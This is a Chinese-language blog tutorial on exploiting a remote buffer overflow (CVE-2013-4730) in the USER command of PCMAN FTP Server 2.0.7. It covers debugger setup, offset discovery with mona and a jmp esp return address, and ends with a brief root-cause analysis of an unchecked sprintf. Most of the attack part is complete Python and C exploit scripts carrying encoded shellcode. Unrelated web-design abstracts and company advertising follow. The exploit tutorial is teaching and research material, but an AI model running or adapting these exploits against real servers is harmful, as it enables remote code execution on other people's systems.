发布日期:2021-02-10 11:54:23
游览量:12
作者:谷尼软件
PCMAN ftp
server 2.0.7
远程缓冲区溢出
未对user命令做长度限制检查
CVE-2013-4730
其他信息:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4730_A
自动生成有序数,并能确定异常点的偏移可以使用windbg插件Mona2
Mona2 需要Python2.7
windbg(用来定位jmp esp地址)
x64dbg
vs写测试代码和shellcode
虚拟机win7 sp1
wdk 自带windbg
python2.7
vc++ 2008运行库
安装windbg的python 插件pykd
复制mona.py和windbglib.py到windbg同目录
运行windbg随便调试一个程序进程环境测试
.load pykd.pyd | 加载pykd |
!py mona | 测试mona |
.reload /f | 检查windbg符号路径是否正常 |
mona安装成功截图
首先我们要能与FTP进行交互才能触发漏洞,只要我们编写的代码符合RFC959标准,就可以与任何一个FTP服务器进行交互,有兴趣的可以去阅读RFC959文档。
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")
int main()
{
// 1. -初始化WinSocket服务
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
// 2. 创建一个原始套接字
SOCKET stListen = INVALID_SOCKET;
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 3. 在任意地址绑定端口21
SOCKADDR_IN stService;
stService.sin_addr.s_addr = inet_addr("192.168.43.82");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
// 4. 接收返回信息缓冲区
char szRecv[0x100] = { 0 };
// 5. 登陆请求
char *pCompand = "USER SUN";
recv(stListen, szRecv, sizeof(szRecv), 0);
send(stListen, pCompand, strlen(pCompand), 0);
// 6. 接收信息
recv(stListen, szRecv, sizeof(szRecv), 0);
// 7. 清理环境
closesocket(stListen);
WSACleanup();
return 0;
}
图中可以看到测试代码连接成功
利用mona构造长字符串
!py mona pc 3000
在上述的测试代码中将用户名 USER SUN 改为刚生成的这个长字符串。看程序能不能崩溃,如果崩溃了,说明测试成功
打开pcman-ftp软件
打开windbg并附加pcman-ftp进程
windbg加载pykd.pyd
.load pykd.pyd
vs发送测试包,然后看到windbg信息
查看栈区发现已经被我们的数据覆盖了
mona查看溢出点
!py mona po 发生溢出的eip
我们看到这里的偏移为2007
首先找本模块的jmp esp看有没有能用的
!py mona.py jmp -r esp
然后找系统模块的jmp esp,一般都会用系统模块 因为某系特点的系统模块没有开随机基址
!py mona jmp -r esp -m kernel32.dll
找到了四个,并且可以用
我们这里用 0x7654fbf7
USER 也就是用户名
无意义的字符串,大小为2002个
jmp esp
nop填充
shellcode
#!usr/bin/python
# -*- coding: utf-8 -*-
import socket
Cmd = b"USER "
Fill = b"x41" * 2002
Jmp = b"xf7xfbx54x76"
Nop = b"x90" * 50
ShellCode = b"x33xC0xE8xFFxFFxFFxFFxC3x58x8Dx70x1Bx33xC9x66xB9x11x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6"
b"x67x84xEBx27xECx4Ax40x62x73x57x75x68x64x46x63x63"
b"x75x62x74x74x07x4Bx68x66x63x4Bx6Ex65x75x66x75x7E"
b"x42x7Fx46x07x52x74x62x75x34x35x29x63x6Bx6Bx07x4A"
b"x62x74x74x66x60x62x45x68x7Fx46x07x42x7Fx6Ex73x57"
b"x75x68x64x62x74x74x07x4Fx62x6Bx6Bx68x27x50x68x75"
b"x63x26x07xEFx07x07x07x07x5Cx63x8Cx32x37x07x07x07"
b"x8Cx71x0Bx8Cx71x1Bx8Cx31x8Cx71x0Fx8Ex72xF7x8CxD1"
b"x8Cx45x3Bx8Ax03x05x8Cx52xF7x8Cx47x7Fx8Ax03x17x8C"
b"x4Fx1Bx8Ax0Bx16x8Ex4AxFBx8Cx4Fx27x8Ax0Bx16x8Ex4A"
b"xFFx8Cx4Fx23x8Ax0Bx16x8Ex4AxF3x34xC7x8Cx52xF7xEC"
b"x06x47x8Cx7AxFFx8Cx3Bx80x8Cx52xF7x8Ax3Bx3Dx8Ax74"
b"xA9xBEx09x07x07x07xFBxF4xA1x72xE1x8Cx52xF3x34xCE"
b"x61x8Cx0Bx45x8Cx52xFBx8Cx33x8Dx8Cx7AxF7x8Ax03x30"
b"x8Ex42xEBx8Ax44xBAx57xF8x72xF7xF8x52xEBx8Ex42xEF"
b"x8Ax54xCBx34xCEx56x56x55xF8xD7x8Ex42xE3x8Ax44xD0"
b"x57xF8x72xE3xF8x52xEBx34xCEx56x8Ax7CxE8x50x50x56"
b"xF8xD7x8Ax44xE4x57xF8x72xF7xF8x52xEBx34xCEx56xF8"
b"xD7"
def main():
print("创建SOCKET")
net_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("连接")
port = 21
net_sock.connect(('192.168.43.82',port))
print(net_sock.recv(1024).decode('utf-8'))
data = Cmd + Fill + Jmp + Nop + ShellCode
net_sock.send(data)
print(net_sock.recv(1024).decode('utf-8'))
net_sock.close()
if __name__ == '__main__':
main()<code class="lang-python hljs">
</code>
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")
char bShellcode[] = "x33xC0xE8xFFxFFxFFxFFxC3x58x8Dx70x1Bx33xC9x66xB9x11x01x8Ax04x0Ex34x07x88x04x0ExE2xF6x80x34x0Ex07xFFxE6"
"x67x84xEBx27xECx4Ax40x62x73x57x75x68x64x46x63x63"
"x75x62x74x74x07x4Bx68x66x63x4Bx6Ex65x75x66x75x7E"
"x42x7Fx46x07x52x74x62x75x34x35x29x63x6Bx6Bx07x4A"
"x62x74x74x66x60x62x45x68x7Fx46x07x42x7Fx6Ex73x57"
"x75x68x64x62x74x74x07x4Fx62x6Bx6Bx68x27x50x68x75"
"x63x26x07xEFx07x07x07x07x5Cx63x8Cx32x37x07x07x07"
"x8Cx71x0Bx8Cx71x1Bx8Cx31x8Cx71x0Fx8Ex72xF7x8CxD1"
"x8Cx45x3Bx8Ax03x05x8Cx52xF7x8Cx47x7Fx8Ax03x17x8C"
"x4Fx1Bx8Ax0Bx16x8Ex4AxFBx8Cx4Fx27x8Ax0Bx16x8Ex4A"
"xFFx8Cx4Fx23x8Ax0Bx16x8Ex4AxF3x34xC7x8Cx52xF7xEC"
"x06x47x8Cx7AxFFx8Cx3Bx80x8Cx52xF7x8Ax3Bx3Dx8Ax74"
"xA9xBEx09x07x07x07xFBxF4xA1x72xE1x8Cx52xF3x34xCE"
"x61x8Cx0Bx45x8Cx52xFBx8Cx33x8Dx8Cx7AxF7x8Ax03x30"
"x8Ex42xEBx8Ax44xBAx57xF8x72xF7xF8x52xEBx8Ex42xEF"
"x8Ax54xCBx34xCEx56x56x55xF8xD7x8Ex42xE3x8Ax44xD0"
"x57xF8x72xE3xF8x52xEBx34xCEx56x8Ax7CxE8x50x50x56"
"xF8xD7x8Ax44xE4x57xF8x72xF7xF8x52xEBx34xCEx56xF8"
"xD7";
int main()
{
//构造exp
char cExpolit[5000] = { 0x00 };
char cFill[5000] = { 0x00 };
char cNop[51] = { 0x00 };
char cRetAddr[5] = "xf7xfbx54x76"; // 0x7654fbf7
memset(cFill, 'A', 2002); // 别忘了USER 还占5个字节
memset(cNop, 'x90', 50);
sprintf_s(cExpolit, "%s%s%s%s%s%s","USER ", cFill, cRetAddr, cNop, bShellcode, "rn");
// 1. -初始化WinSocket服务
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
// 2. 创建一个原始套接字
SOCKET stListen = INVALID_SOCKET;
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 3. 在任意地址绑定端口21
SOCKADDR_IN stService;
stService.sin_addr.s_addr = inet_addr("192.168.43.82");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
// 4. 接收返回信息缓冲区
char szRecv[0x100] = { 0 };
// 5. 登陆请求
recv(stListen, szRecv, sizeof(szRecv), 0);
send(stListen, cExpolit, strlen(cExpolit), 0);
// 6. 接收信息
recv(stListen, szRecv, sizeof(szRecv), 0);
// 7. 清理环境
closesocket(stListen);
WSACleanup();
system("pause");
return 0;
}
攻击成功
现在我们来分析一下这个漏洞到底是如何生成的。
这里我们用到windbg的动态调试和IDA的静态调试
再用刚才的poc,寻找没有覆盖溢出点的地方,然后我们在这个地方下硬件写入断点,然后观察堆栈以及数据覆盖变化
找能下断的地方
硬件写入断点
ba w4 0012ed60 ".if(poi(0012ed60 )=0x6f43366f ){}.else{gc}"
断下了
我们通过widbg和IDA栈回溯看看到底调用的哪个地方造成了数据覆盖,回溯了好几层,需要耐心观察最后我们发现这里比较可疑
验证,我们重新运行然后widbg在sprintf下断点 bp 00403EE6
并且观察堆栈,发现前后堆栈数据被poc的数据覆盖
sprintf运行了好几次,最后一次是因为复制的字符串太长导致返回值被覆盖,从而造成缓冲区溢出,
造成这个种结果是因为在拼接最后一个字符串的时候没有做长度限制,导致缓冲区溢出
潍坊谷尼软件技术服务有限公司17年行业经验、服务企业5000家,知名企业近160家。谷尼信天翁是山东网站制作机构,是山东企业"互联网+";"移动营销"品牌。执行供给侧改革的网络企业。咨询热线:13188831521TAG标签:FTP 漏洞 , exp构造 , 远程缓冲区溢出 , 未注明作者或来源均属原创文章,转载请注明:转自 谷尼软件
摘要:处于信息时代,人们对网页设计提出更多要求,但网页设计的艺术性、目的性、时代感并不突出,与宣传需要严重不符。对此,应根据实际设计要求,合理运用图像分割、图像编码压缩等图像处理技术,确保最佳网页设计效果。空间域处理阵列较大的图像,计算量也会随之增加;对此,借助沃尔什变换、傅立叶变换等多种图像
摘要:借助计算机程序,通过相应的设计、分析、建模和执行等一系列手段,将设计者所要表达的信息通过互联网展示出来,最终用户所浏览到的界面通常是图形的形式,这即是网页设计。换句话说,网页设计的目的便是产生用户所需要的网站以供浏览和阅读。通常来说,文字,图片以及表格这些简单的信息都可以放置到网站页面上。而矢
摘要:在ASP的开发过程中,基本不能在Unix等一系列的服务器上运行,而只能在微软的服务器产品中运行。然而,JSP在Apache的支持下,可以实现在Unix、Linux等其他很多操作系统中运行。除此之外,JSP是JAVA的一部分,使得它还具有只需编写一次,就能随时使用的特点。这个特点实地能够实现跨平台的移植,相对其他潍坊网站建设动
摘要:由于不同网站的配置、运行情况很不相同,所以监听网站前先要读取XML文件初始化参数,包括监听的网站目录、禁止上传的文件类型、日志位置、上传文件所在目录、发送短信参数等。监听工具服务程序使用Java的JNotify组件进行监控,程序运行后调用监控类,监控类继承于JNotifyListener接口,需要开发者重写fileRenamed、fi
摘要:随着互联网技术的迅速发展,人们越来越习惯于从各种网站获取信息,而网站作为信息传递的载体,其性能与服务方式对用户浏览体验极为重要。在新媒体技术的影响下,网络UI设计自然成为用户浏览体验的重要因素。UI是用户界面的简称,合理的UI设计可以通过软件操作呈现出舒适化与简单化,给人以美感。传统的网页设计都是通
摘要:当前社会信息技术高速发达,为了提高企业服务效率,为顾客提供最佳服务体验,企业都会建立专门的企业网站,这类网站将介绍企业基本信息、最新产品参数以及企业发展规划、人才招聘等信息。而网站的建立将成为企业壮大、发展的关键,因此为了提高企业网站的运行效率,在网站开发初期,需要针对网页搜索引擎做出优化,既
摘要:以前的搜索引擎主要根据内容与关键词匹配度来排名,关键词出现的频率将成为搜索引擎数据排名的重要参考依据。而随着引擎算法的提升,排序思想逐渐被淘汰,当下排序开始采用链接分析技术,针对链接分析排序算法而言,可以减少垃圾,也可以有效减少人为信息干预,提高数据的准确率。结构层可以突出信息的层次性,因此,
可是,他们却忽枧了为自己的企业建一个网站。在网络时代的今日,一个企业有没有自己的网站和一个公司的领导有没有手刺相同重要。一个中小型企业树立一个网站的必要性,咱们将从以下几点叙说。一、树立一个网站费用也比其它广告方法要低的多。如企业在报纸上做广告,半个版面,几天时刻就要花掉几十万。当然,网站和广告是两